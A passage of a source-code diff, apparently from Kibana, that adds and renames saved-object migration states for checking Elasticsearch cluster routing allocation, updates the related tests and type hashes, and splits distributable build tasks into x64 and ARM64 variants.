b/src/core/packages/saved-objects/migration-server-internal/src/actions/es_errors.ts index 0ea6ccc227cba..d2c47e40a0fb1 100644 --- a/src/core/packages/saved-objects/migration-server-internal/src/actions/es_errors.ts +++ b/src/core/packages/saved-objects/migration-server-internal/src/actions/es_errors.ts @@ -41,7 +41,10 @@ export const isClusterShardLimitExceeded = (errorCause?: ErrorCause): boolean => ); }; -export const hasAllKeywordsInOrder = (message: string | undefined, keywords: string[]): boolean => { +export const hasAllKeywordsInOrder = ( + message: string | null | undefined, + keywords: string[] +): boolean => { if (!message || !keywords.length) { return false; } diff --git a/src/core/packages/saved-objects/migration-server-internal/src/actions/wait_for_task.ts b/src/core/packages/saved-objects/migration-server-internal/src/actions/wait_for_task.ts index 9fc717e2a5f0e..ca2bb26eb0b21 100644 --- a/src/core/packages/saved-objects/migration-server-internal/src/actions/wait_for_task.ts +++ b/src/core/packages/saved-objects/migration-server-internal/src/actions/wait_for_task.ts @@ -20,7 +20,7 @@ import { /** @internal */ export interface WaitForTaskResponse { - error: Option.Option<{ type: string; reason?: string; index?: string }>; + error: Option.Option<{ type: string; reason?: string | null; index?: string }>; completed: boolean; failures: Option.Option; description?: string; diff --git a/src/core/packages/saved-objects/migration-server-internal/src/model/model.test.ts b/src/core/packages/saved-objects/migration-server-internal/src/model/model.test.ts index c0282c93efad9..6c6314b198347 100644 --- a/src/core/packages/saved-objects/migration-server-internal/src/model/model.test.ts +++ b/src/core/packages/saved-objects/migration-server-internal/src/model/model.test.ts @@ -58,8 +58,10 @@ import type { ReadyToReindexSyncState, DoneReindexingSyncState, LegacyCheckClusterRoutingAllocationState, - CheckClusterRoutingAllocationState, + ReindexCheckClusterRoutingAllocationState, PostInitState, + CreateIndexCheckClusterRoutingAllocationState, + RelocateCheckClusterRoutingAllocationState, } from '../state'; import { type TransformErrorObjects, TransformSavedObjectDocumentError } from '../core'; import type { AliasAction, RetryableEsClientError } from '../actions'; @@ -729,12 +731,12 @@ describe('migrations v2 model', () => { expect(newState.retryDelay).toEqual(0); }); - test('INIT -> CREATE_NEW_TARGET when the index does not exist and the migrator is NOT involved in a relocation', () => { + test('INIT -> CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION when the index does not exist and the migrator is NOT involved in a relocation', () => { const res: ResponseType<'INIT'> = Either.right({}); const newState = model(initState, res); expect(newState).toMatchObject({ - controlState: 'CREATE_NEW_TARGET', + controlState: 'CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION', sourceIndex: Option.none, targetIndex: '.kibana_7.11.0_001', }); @@ -742,7 +744,7 @@ describe('migrations v2 model', () => { expect(newState.retryDelay).toEqual(0); }); - test('INIT -> CREATE_REINDEX_TEMP when the index does not exist and the migrator is involved in a relocation', () => { + test('INIT -> RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION when the index does not exist and the migrator is involved in a relocation', () => { const res: ResponseType<'INIT'> = Either.right({}); const newState = model( { @@ -753,7 +755,7 @@ describe('migrations v2 model', () => { ); expect(newState).toMatchObject({ - controlState: 'CREATE_REINDEX_TEMP', + controlState: 'RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION', sourceIndex: Option.none, targetIndex: '.kibana_7.11.0_001', versionIndexReadyActions: Option.some([ @@ -768,6 +770,98 @@ describe('migrations v2 model', () => { }); }); + describe('CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION', () => { + const aliasActions = Option.some([Symbol('alias action')] as unknown) as Option.Some< + AliasAction[] + >; + const createIndexCheckClusterRoutingAllocationState: CreateIndexCheckClusterRoutingAllocationState = + { + ...postInitState, + controlState: 'CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION', + versionIndexReadyActions: aliasActions, + sourceIndex: Option.none as Option.None, + targetIndex: '.kibana_7.11.0_001', + }; + + test('CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION -> CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION when cluster allocation is not compatible', () => { + const res: ResponseType<'CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION'> = Either.left({ + type: 'incompatible_cluster_routing_allocation', + }); + const newState = model(createIndexCheckClusterRoutingAllocationState, res); + + expect(newState.controlState).toBe('CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION'); + expect(newState.retryCount).toEqual(1); + expect(newState.retryDelay).toEqual(2000); + }); + + test('CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION -> CREATE_NEW_TARGET when cluster allocation is compatible', () => { + const res: ResponseType<'CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION'> = Either.right({}); + const newState = model( + createIndexCheckClusterRoutingAllocationState, + res + ) as CreateNewTargetState; + + expect(newState.controlState).toBe('CREATE_NEW_TARGET'); + expect(newState.retryCount).toEqual(0); + expect(newState.retryDelay).toEqual(0); + // check that we are correctly "forwarding" the state + expect(newState.targetIndex).toEqual( + createIndexCheckClusterRoutingAllocationState.targetIndex + ); + expect(newState.targetIndexMappings).toEqual( + createIndexCheckClusterRoutingAllocationState.targetIndexMappings + ); + expect(newState.esCapabilities).toEqual( + createIndexCheckClusterRoutingAllocationState.esCapabilities + ); + }); + }); + + describe('RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION', () => { + const reindexCheckClusterRoutingAllocationState: RelocateCheckClusterRoutingAllocationState = + { + ...postInitState, + controlState: 'RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION', + sourceIndex: Option.some('.kibana') as Option.Some, + sourceIndexMappings: Option.some({}) as Option.Some, + tempIndexMappings: { properties: {} }, + }; + + test('RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION -> RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION when cluster allocation is not compatible', () => { + const res: ResponseType<'RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION'> = Either.left({ + type: 'incompatible_cluster_routing_allocation', + }); + const newState = model(reindexCheckClusterRoutingAllocationState, res); + + expect(newState.controlState).toBe('RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION'); + expect(newState.retryCount).toEqual(1); + expect(newState.retryDelay).toEqual(2000); + }); + + test('RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION -> CREATE_REINDEX_TEMP when cluster allocation is compatible', () => { + const res: ResponseType<'RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION'> = Either.right({}); + const newState = model( + reindexCheckClusterRoutingAllocationState, + res + ) as CreateReindexTempState; + + expect(newState.controlState).toBe('CREATE_REINDEX_TEMP'); + expect(newState.retryCount).toEqual(0); + expect(newState.retryDelay).toEqual(0); + // check that we are correctly "forwarding" the state + expect(newState.tempIndex).toEqual(reindexCheckClusterRoutingAllocationState.tempIndex); + expect(newState.tempIndexAlias).toEqual( + reindexCheckClusterRoutingAllocationState.tempIndexAlias + ); + expect(newState.tempIndexMappings).toEqual( + reindexCheckClusterRoutingAllocationState.tempIndexMappings + ); + expect(newState.esCapabilities).toEqual( + reindexCheckClusterRoutingAllocationState.esCapabilities + ); + }); + }); + describe('WAIT_FOR_MIGRATION_COMPLETION', () => { const waitForMState: State = { ...postInitState, @@ -1230,14 +1324,14 @@ describe('migrations v2 model', () => { describe('if the migrator is involved in a relocation', () => { // no need to attempt to update the mappings, we are going to reindex - test('WAIT_FOR_YELLOW_SOURCE -> CHECK_CLUSTER_ROUTING_ALLOCATION', () => { + test('WAIT_FOR_YELLOW_SOURCE -> REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION', () => { const res: ResponseType<'WAIT_FOR_YELLOW_SOURCE'> = Either.right({}); const newState = model( { ...waitForYellowSourceState, mustRelocateDocuments: true }, res ); - expect(newState.controlState).toEqual('CHECK_CLUSTER_ROUTING_ALLOCATION'); + expect(newState.controlState).toEqual('REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION'); }); }); }); @@ -1312,12 +1406,12 @@ describe('migrations v2 model', () => { }); describe('if action fails', () => { - test('UPDATE_SOURCE_MAPPINGS_PROPERTIES -> CHECK_CLUSTER_ROUTING_ALLOCATION if mappings changes are incompatible', () => { + test('UPDATE_SOURCE_MAPPINGS_PROPERTIES -> REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION if mappings changes are incompatible', () => { const res: ResponseType<'UPDATE_SOURCE_MAPPINGS_PROPERTIES'> = Either.left({ type: 'incompatible_mapping_exception', }); const newState = model(updateSourceMappingsPropertiesState, res); - expect(newState.controlState).toEqual('CHECK_CLUSTER_ROUTING_ALLOCATION'); + expect(newState.controlState).toEqual('REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION'); }); test('UPDATE_SOURCE_MAPPINGS_PROPERTIES -> FATAL', () => { @@ -1499,27 +1593,27 @@ describe('migrations v2 model', () => { }); }); - describe('CHECK_CLUSTER_ROUTING_ALLOCATION', () => { - const checkClusterRoutingAllocationState: CheckClusterRoutingAllocationState = { + describe('REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION', () => { + const checkClusterRoutingAllocationState: ReindexCheckClusterRoutingAllocationState = { ...postInitState, - controlState: 'CHECK_CLUSTER_ROUTING_ALLOCATION', + controlState: 'REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION', sourceIndex: Option.some('.kibana') as Option.Some, sourceIndexMappings: Option.some({}) as Option.Some, }; - test('CHECK_CLUSTER_ROUTING_ALLOCATION -> CHECK_CLUSTER_ROUTING_ALLOCATION when cluster allocation is not compatible', () => { - const res: ResponseType<'CHECK_CLUSTER_ROUTING_ALLOCATION'> = Either.left({ + test('REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION -> REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION when cluster allocation is not compatible', () => { + const res: ResponseType<'REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION'> = Either.left({ type: 'incompatible_cluster_routing_allocation', }); const newState = model(checkClusterRoutingAllocationState, res); - expect(newState.controlState).toBe('CHECK_CLUSTER_ROUTING_ALLOCATION'); + expect(newState.controlState).toBe('REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION'); expect(newState.retryCount).toEqual(1); expect(newState.retryDelay).toEqual(2000); }); - test('CHECK_CLUSTER_ROUTING_ALLOCATION -> CHECK_UNKNOWN_DOCUMENTS when cluster allocation is compatible', () => { - const res: ResponseType<'CHECK_CLUSTER_ROUTING_ALLOCATION'> = Either.right({}); + test('REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION -> CHECK_UNKNOWN_DOCUMENTS when cluster allocation is compatible', () => { + const res: ResponseType<'REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION'> = Either.right({}); const newState = model(checkClusterRoutingAllocationState, res); expect(newState.controlState).toBe('CHECK_UNKNOWN_DOCUMENTS'); diff --git a/src/core/packages/saved-objects/migration-server-internal/src/model/model.ts b/src/core/packages/saved-objects/migration-server-internal/src/model/model.ts index 280568d39bc46..5a882559ad7ad 100644 --- a/src/core/packages/saved-objects/migration-server-internal/src/model/model.ts +++ b/src/core/packages/saved-objects/migration-server-internal/src/model/model.ts @@ -258,7 +258,7 @@ export const model = (currentState: State, resW: ResponseType): return { ...stateP, ...postInitState, - controlState: 'CREATE_REINDEX_TEMP', + controlState: 'RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION', sourceIndex: Option.none as Option.None, targetIndex: newVersionTarget, versionIndexReadyActions: Option.some([ @@ -272,7 +272,7 @@ export const model = (currentState: State, resW: ResponseType): return { ...stateP, ...postInitState, - controlState: 'CREATE_NEW_TARGET', + controlState: 'CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION', sourceIndex: Option.none as Option.None, targetIndex: newVersionTarget, versionIndexReadyActions: Option.some([ @@ -281,6 +281,38 @@ export const model = (currentState: State, resW: ResponseType): ]) as Option.Some, }; } + } else if (stateP.controlState === 'CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION') { + const res = resW as ExcludeRetryableEsError>; + if (Either.isRight(res)) { + return { + ...stateP, + controlState: 'CREATE_NEW_TARGET', + }; + } else { + const left = res.left; + if (isTypeof(left, 'incompatible_cluster_routing_allocation')) { + const retryErrorMessage = `[${left.type}] Incompatible Elasticsearch cluster settings detected. Remove the persistent and transient Elasticsearch cluster setting 'cluster.routing.allocation.enable' or set it to a value of 'all' to allow migrations to proceed. Refer to ${stateP.migrationDocLinks.routingAllocationDisabled} for more information on how to resolve the issue.`; + return delayRetryState(stateP, retryErrorMessage, stateP.retryAttempts); + } else { + throwBadResponse(stateP, left); + } + } + } else if (stateP.controlState === 'RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION') { + const res = resW as ExcludeRetryableEsError>; + if (Either.isRight(res)) { + return { + ...stateP, + controlState: 'CREATE_REINDEX_TEMP', + }; + } else { + const left = res.left; + if (isTypeof(left, 'incompatible_cluster_routing_allocation')) { + const retryErrorMessage = `[${left.type}] Incompatible Elasticsearch cluster settings detected. Remove the persistent and transient Elasticsearch cluster setting 'cluster.routing.allocation.enable' or set it to a value of 'all' to allow migrations to proceed. Refer to ${stateP.migrationDocLinks.routingAllocationDisabled} for more information on how to resolve the issue.`; + return delayRetryState(stateP, retryErrorMessage, stateP.retryAttempts); + } else { + throwBadResponse(stateP, left); + } + } } else if (stateP.controlState === 'WAIT_FOR_MIGRATION_COMPLETION') { const res = resW as ExcludeRetryableEsError>; const indices = res.right; @@ -484,7 +516,7 @@ export const model = (currentState: State, resW: ResponseType): // we must reindex and synchronize with other migrators return { ...stateP, - controlState: 'CHECK_CLUSTER_ROUTING_ALLOCATION', + controlState: 'REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION', }; } else { // this migrator is not involved in a relocation, we can proceed with the standard flow @@ -529,7 +561,7 @@ export const model = (currentState: State, resW: ResponseType): case MigrationType.Incompatible: return { ...stateP, - controlState: 'CHECK_CLUSTER_ROUTING_ALLOCATION', + controlState: 'REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION', }; case MigrationType.Unnecessary: return { @@ -707,7 +739,7 @@ export const model = (currentState: State, resW: ResponseType): } else { throwBadResponse(stateP, res); } - } else if (stateP.controlState === 'CHECK_CLUSTER_ROUTING_ALLOCATION') { + } else if (stateP.controlState === 'REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION') { const res = resW as ExcludeRetryableEsError>; if (Either.isRight(res)) { return { diff --git a/src/core/packages/saved-objects/migration-server-internal/src/next.ts b/src/core/packages/saved-objects/migration-server-internal/src/next.ts index 0f9adc00d440b..94e57927d4360 100644 --- a/src/core/packages/saved-objects/migration-server-internal/src/next.ts +++ b/src/core/packages/saved-objects/migration-server-internal/src/next.ts @@ -118,7 +118,12 @@ export const nextActionMap = ( Actions.updateAliases({ client, aliasActions: state.preTransformDocsActions }), REFRESH_SOURCE: (state: RefreshSource) => Actions.refreshIndex({ client, index: state.sourceIndex.value }), - CHECK_CLUSTER_ROUTING_ALLOCATION: () => Actions.checkClusterRoutingAllocationEnabled(client), + REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION: () => + Actions.checkClusterRoutingAllocationEnabled(client), + CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION: () => + Actions.checkClusterRoutingAllocationEnabled(client), + RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION: () => + Actions.checkClusterRoutingAllocationEnabled(client), CHECK_UNKNOWN_DOCUMENTS: (state: CheckUnknownDocumentsState) => Actions.checkForUnknownDocs({ client, diff --git a/src/core/packages/saved-objects/migration-server-internal/src/state.ts b/src/core/packages/saved-objects/migration-server-internal/src/state.ts index 7901ea5ded617..6532bc66ede16 100644 --- a/src/core/packages/saved-objects/migration-server-internal/src/state.ts +++ b/src/core/packages/saved-objects/migration-server-internal/src/state.ts @@ -311,6 +311,12 @@ export interface CalculateExcludeFiltersState extends SourceExistsState { readonly controlState: 'CALCULATE_EXCLUDE_FILTERS'; } +export interface CreateIndexCheckClusterRoutingAllocationState extends PostInitState { + readonly controlState: 'CREATE_INDEX_CHECK_CLUSTER_ROUTING_ALLOCATION'; + readonly sourceIndex: Option.None; + readonly versionIndexReadyActions: Option.Some; +} + export interface CreateNewTargetState extends PostInitState { /** Blank ES cluster, create a new version-specific target index */ readonly controlState: 'CREATE_NEW_TARGET'; @@ -318,6 +324,10 @@ export interface CreateNewTargetState extends PostInitState { readonly versionIndexReadyActions: Option.Some; } +export interface RelocateCheckClusterRoutingAllocationState extends PostInitState { + readonly controlState: 'RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION'; +} + export interface CreateReindexTempState extends PostInitState { /** * Create a target index with mappings from the source index and registered @@ -386,8 +396,8 @@ export interface RefreshTarget extends PostInitState { readonly targetIndex: string; } -export interface CheckClusterRoutingAllocationState extends SourceExistsState { - readonly controlState: 'CHECK_CLUSTER_ROUTING_ALLOCATION'; +export interface ReindexCheckClusterRoutingAllocationState extends SourceExistsState { + readonly controlState: 'REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION'; } export interface CheckTargetTypesMappingsState extends PostInitState { @@ -560,13 +570,13 @@ export interface LegacyDeleteState extends LegacyBaseState { export type State = Readonly< | CalculateExcludeFiltersState - | CheckClusterRoutingAllocationState | CheckTargetTypesMappingsState | CheckUnknownDocumentsState | CheckVersionIndexReadyActions | CleanupUnknownAndExcluded | CleanupUnknownAndExcludedWaitForTaskState | CloneTempToTarget + | CreateIndexCheckClusterRoutingAllocationState | CreateNewTargetState | CreateReindexTempState | DoneReindexingSyncState @@ -591,11 +601,13 @@ export type State = Readonly< | ReadyToReindexSyncState | RefreshSource | RefreshTarget + | ReindexCheckClusterRoutingAllocationState | ReindexSourceToTempClosePit | ReindexSourceToTempIndexBulk | ReindexSourceToTempOpenPit | ReindexSourceToTempRead | ReindexSourceToTempTransform + | RelocateCheckClusterRoutingAllocationState | SetSourceWriteBlockState | SetTempWriteBlock | TransformedDocumentsBulkIndex diff --git a/src/core/packages/saved-objects/server-internal/src/object_types/index.ts b/src/core/packages/saved-objects/server-internal/src/object_types/index.ts index a710eb103adb0..2b57193a8fc3b 100644 --- a/src/core/packages/saved-objects/server-internal/src/object_types/index.ts +++ b/src/core/packages/saved-objects/server-internal/src/object_types/index.ts @@ -11,4 +11,4 @@ export { registerCoreObjectTypes } from './registration'; // set minimum number of registered saved objects to ensure no object types are removed after 8.8 // declared in internal implementation explicitly to prevent unintended changes. -export const SAVED_OBJECT_TYPES_COUNT = 136 as const; +export const SAVED_OBJECT_TYPES_COUNT = 137 as const; diff --git a/src/core/packages/security/server/src/authentication/api_keys/api_keys.ts b/src/core/packages/security/server/src/authentication/api_keys/api_keys.ts index 56974f5dcf409..07d8c20fd74ed 100644 --- a/src/core/packages/security/server/src/authentication/api_keys/api_keys.ts +++ b/src/core/packages/security/server/src/authentication/api_keys/api_keys.ts @@ -203,10 +203,10 @@ export interface InvalidateAPIKeyResult { */ error_details?: Array<{ type?: string; - reason?: string; + reason?: string | null; caused_by?: { type?: string; - reason?: string; + reason?: string | null; }; }>; } diff --git a/src/core/server/integration_tests/ci_checks/saved_objects/check_registered_types.test.ts b/src/core/server/integration_tests/ci_checks/saved_objects/check_registered_types.test.ts index 532958331986b..1526ebb5971c6 100644 --- a/src/core/server/integration_tests/ci_checks/saved_objects/check_registered_types.test.ts +++ b/src/core/server/integration_tests/ci_checks/saved_objects/check_registered_types.test.ts @@ -114,7 +114,7 @@ describe('checking migration metadata changes on all registered SO types', () => "fleet-fleet-server-host": "795c0e79438a260bd860419454bcc432476d4396", "fleet-message-signing-keys": "0c6da6a680807e568540b2aa263ae52331ba66db", "fleet-package-policies": "4da7cd2662ab79ea708ac51f0627451dd91f122d", - "fleet-preconfiguration-deletion-record": "3afad160748b430427086985a3445fd8697566d5", + "fleet-preconfiguration-deletion-record": "a9d20d9d21c2118fd35f21fb5eb1e3f68fa6889c", "fleet-proxy": "94d0a902a0fd22578d7d3a20873b95d902e25245", "fleet-setup-lock": "ce9a2dcfb2e6f7260d129636a26c9ca98b13e464", "fleet-space-settings": "b8f60506cf5fea1429ad84dfb8644cf261fd7427", @@ -154,7 +154,8 @@ describe('checking migration metadata changes on all registered SO types', () => "osquery-saved-query": "a8ef11610473e3d1b51a8fdacb2799d8a610818e", "policy-settings-protection-updates-note": "c05c4c33a5e5bd1fa153991f300d040ac5d6f38d", "privilege-monitoring-status": "4daec76df427409bcd64250f5c23f5ab86c8bac3", - "product-doc-install-status": "ee7817c45bf1c41830290c8ef535e726c86f7c19", + "privmon-api-key": "c06b1614786ce7271087378b47d465c956ab1537", + "product-doc-install-status": "f94e3e5ad2cc933df918f2cd159044c626e01011", "query": "1966ccce8e9853018111fb8a1dee500228731d9e", "risk-engine-configuration": "533a0a3f2dbef1c95129146ec4d5714de305be1a", "rules-settings": "53f94e5ce61f5e75d55ab8adbc1fb3d0937d2e0b", @@ -182,7 +183,7 @@ describe('checking migration metadata changes on all registered SO types', () => "synthetics-private-location": "27aaa44f792f70b734905e44e3e9b56bbeac7b86", "synthetics-privates-locations": "36036b881524108c7327fe14bd224c6e4d972cb5", "tag": "87f21f07df9cc37001b15a26e413c18f50d1fbfe", - "task": "4bd8e19960b83c88f3cdf766ace268c081a1c619", + "task": "689edead32ea09558ceb54f64fd9aa4d324d94d0", "telemetry": "3b3b89cf411a2a2e60487cef6ccdbc5df691aeb9", "threshold-explorer-view": "5e2388a6835cec3c68c98b450cd267d66cce925f", "ui-metric": "410a8ad28e0f44b161c960ff0ce950c712b17c52", diff --git a/src/core/server/integration_tests/saved_objects/migrations/group1/v2_migration.test.ts b/src/core/server/integration_tests/saved_objects/migrations/group1/v2_migration.test.ts index 672e94c0442e1..7c10caeda2dc7 100644 --- a/src/core/server/integration_tests/saved_objects/migrations/group1/v2_migration.test.ts +++ b/src/core/server/integration_tests/saved_objects/migrations/group1/v2_migration.test.ts @@ -278,10 +278,10 @@ describe('v2 migration', () => { `[${defaultKibanaIndex}] WAIT_FOR_YELLOW_SOURCE -> UPDATE_SOURCE_MAPPINGS_PROPERTIES.` ); expect(logs).toMatch( - `[${defaultKibanaIndex}] UPDATE_SOURCE_MAPPINGS_PROPERTIES -> CHECK_CLUSTER_ROUTING_ALLOCATION.` + `[${defaultKibanaIndex}] UPDATE_SOURCE_MAPPINGS_PROPERTIES -> REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION.` ); expect(logs).toMatch( - `[${defaultKibanaIndex}] CHECK_CLUSTER_ROUTING_ALLOCATION -> CHECK_UNKNOWN_DOCUMENTS.` + `[${defaultKibanaIndex}] REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION -> CHECK_UNKNOWN_DOCUMENTS.` ); expect(logs).toMatch( `[${defaultKibanaIndex}] CHECK_TARGET_MAPPINGS -> UPDATE_TARGET_MAPPINGS_PROPERTIES.` diff --git a/src/core/server/integration_tests/saved_objects/migrations/group2/multiple_kb_nodes.test.ts b/src/core/server/integration_tests/saved_objects/migrations/group2/multiple_kb_nodes.test.ts index 6ad56436ba059..74d6c3d24a6c0 100644 --- a/src/core/server/integration_tests/saved_objects/migrations/group2/multiple_kb_nodes.test.ts +++ b/src/core/server/integration_tests/saved_objects/migrations/group2/multiple_kb_nodes.test.ts @@ -163,7 +163,8 @@ describe('multiple Kibana nodes performing a reindexing migration', () => { // '.kibana_migrator_split' is a new index, all nodes' migrators must attempt to create it expect(logs).toContainLogEntries( [ - `[${kibanaSplitIndex}] INIT -> CREATE_REINDEX_TEMP.`, + `[${kibanaSplitIndex}] INIT -> RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION.`, + `[${kibanaSplitIndex}] RELOCATE_CHECK_CLUSTER_ROUTING_ALLOCATION -> CREATE_REINDEX_TEMP.`, `[${kibanaSplitIndex}] CREATE_REINDEX_TEMP -> READY_TO_REINDEX_SYNC.`, // no docs to reindex, as source index did NOT exist `[${kibanaSplitIndex}] READY_TO_REINDEX_SYNC -> DONE_REINDEXING_SYNC.`, @@ -176,8 +177,8 @@ describe('multiple Kibana nodes performing a reindexing migration', () => { expect(logs).toContainLogEntries( [ `[${index}] INIT -> WAIT_FOR_YELLOW_SOURCE.`, - `[${index}] WAIT_FOR_YELLOW_SOURCE -> CHECK_CLUSTER_ROUTING_ALLOCATION.`, - `[${index}] CHECK_CLUSTER_ROUTING_ALLOCATION -> CHECK_UNKNOWN_DOCUMENTS.`, + `[${index}] WAIT_FOR_YELLOW_SOURCE -> REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION.`, + `[${index}] REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION -> CHECK_UNKNOWN_DOCUMENTS.`, `[${index}] CHECK_UNKNOWN_DOCUMENTS -> SET_SOURCE_WRITE_BLOCK.`, `[${index}] SET_SOURCE_WRITE_BLOCK -> CALCULATE_EXCLUDE_FILTERS.`, `[${index}] CALCULATE_EXCLUDE_FILTERS -> CREATE_REINDEX_TEMP.`, diff --git a/src/core/server/integration_tests/saved_objects/migrations/group5/active_delete.test.ts b/src/core/server/integration_tests/saved_objects/migrations/group5/active_delete.test.ts index 08900cbba516e..63c620d7c7f7e 100644 --- a/src/core/server/integration_tests/saved_objects/migrations/group5/active_delete.test.ts +++ b/src/core/server/integration_tests/saved_objects/migrations/group5/active_delete.test.ts @@ -314,9 +314,9 @@ describe('when upgrading to a new stack version', () => { expect(logs).toMatch('INIT -> WAIT_FOR_YELLOW_SOURCE'); expect(logs).toMatch('WAIT_FOR_YELLOW_SOURCE -> UPDATE_SOURCE_MAPPINGS_PROPERTIES.'); expect(logs).toMatch( - 'UPDATE_SOURCE_MAPPINGS_PROPERTIES -> CHECK_CLUSTER_ROUTING_ALLOCATION.' + 'UPDATE_SOURCE_MAPPINGS_PROPERTIES -> REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION.' ); - expect(logs).toMatch('CHECK_CLUSTER_ROUTING_ALLOCATION -> CHECK_UNKNOWN_DOCUMENTS.'); + expect(logs).toMatch('REINDEX_CHECK_CLUSTER_ROUTING_ALLOCATION -> CHECK_UNKNOWN_DOCUMENTS.'); expect(logs).toMatch('CHECK_UNKNOWN_DOCUMENTS -> SET_SOURCE_WRITE_BLOCK.'); expect(logs).toMatch('CHECK_TARGET_MAPPINGS -> UPDATE_TARGET_MAPPINGS_PROPERTIES.'); expect(logs).toMatch('UPDATE_TARGET_MAPPINGS_META -> CHECK_VERSION_INDEX_READY_ACTIONS.'); diff --git a/src/core/server/integration_tests/saved_objects/registration/type_registrations.test.ts b/src/core/server/integration_tests/saved_objects/registration/type_registrations.test.ts index 2523899939552..ecde144e9883d 100644 --- a/src/core/server/integration_tests/saved_objects/registration/type_registrations.test.ts +++ b/src/core/server/integration_tests/saved_objects/registration/type_registrations.test.ts @@ -58,6 +58,7 @@ const previouslyRegisteredTypes = [ 'enterprise_search_telemetry', 'entity-analytics-monitoring-entity-source', 'entity-definition', + 'privmon-api-key', 'entity-discovery-api-key', 'epm-packages', 'epm-packages-assets', diff --git a/src/dev/build/build_distributables.ts b/src/dev/build/build_distributables.ts index 96cc65850edbc..be90ed50ffd7f 100644 --- a/src/dev/build/build_distributables.ts +++ b/src/dev/build/build_distributables.ts @@ -7,6 +7,7 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ +import chalk from 'chalk'; import { ToolingLog } from '@kbn/tooling-log'; import { Config, createRunner } from './lib'; @@ -48,7 +49,7 @@ export interface BuildOptions { export async function buildDistributables(log: ToolingLog, options: BuildOptions): Promise { log.verbose('building distributables with options:', options); - log.write('--- Running global Kibana build tasks'); + log.write(`--- ${chalk`{dim [ global ]}`} Kibana build tasks`); const config = await Config.create(options); const globalRun = createRunner({ config, log }); @@ -142,42 +143,49 @@ export async function buildDistributables(log: ToolingLog, options: BuildOptions if (options.createDebPackage) { // control w/ --deb or --skip-os-packages - artifactTasks.push(Tasks.CreateDebPackage); + artifactTasks.push(Tasks.CreateDebPackageX64); + artifactTasks.push(Tasks.CreateDebPackageARM64); } if (options.createRpmPackage) { // control w/ --rpm or --skip-os-packages - artifactTasks.push(Tasks.CreateRpmPackage); + artifactTasks.push(Tasks.CreateRpmPackageX64); + artifactTasks.push(Tasks.CreateRpmPackageARM64); } } if (options.createDockerUBI) { // control w/ --docker-images or --skip-docker-ubi or --skip-os-packages - artifactTasks.push(Tasks.CreateDockerUBI); + artifactTasks.push(Tasks.CreateDockerUBIX64); + artifactTasks.push(Tasks.CreateDockerUBIARM64); } if (options.createDockerWolfi) { // control w/ --docker-images or --skip-docker-wolfi or --skip-os-packages - artifactTasks.push(Tasks.CreateDockerWolfi); + artifactTasks.push(Tasks.CreateDockerWolfiX64); + artifactTasks.push(Tasks.CreateDockerWolfiARM64); } if (options.createDockerCloud) { // control w/ --docker-images and --skip-docker-cloud - artifactTasks.push(Tasks.CreateDockerCloud); + artifactTasks.push(Tasks.CreateDockerCloudX64); + artifactTasks.push(Tasks.CreateDockerCloudARM64); } if (options.createDockerServerless) { // control w/ --docker-images and --skip-docker-serverless - artifactTasks.push(Tasks.CreateDockerServerless); + artifactTasks.push(Tasks.CreateDockerServerlessX64); + artifactTasks.push(Tasks.CreateDockerServerlessARM64); } if (options.createDockerFIPS) { // control w/ --docker-images or --skip-docker-fips or --skip-os-packages - artifactTasks.push(Tasks.CreateDockerFIPS); + artifactTasks.push(Tasks.CreateDockerFIPSX64); } if (options.createDockerCloudFIPS) { // control w/ --docker-images and --skip-docker-cloud-fips - artifactTasks.push(Tasks.CreateDockerCloudFIPS); + artifactTasks.push(Tasks.CreateDockerCloudFIPSX64); + artifactTasks.push(Tasks.CreateDockerCloudFIPSARM64); } if (options.createDockerContexts) { diff --git a/src/dev/build/lib/build.ts b/src/dev/build/lib/build.ts index 63478e0b03e57..03ad0e1eebbd2 100644 --- 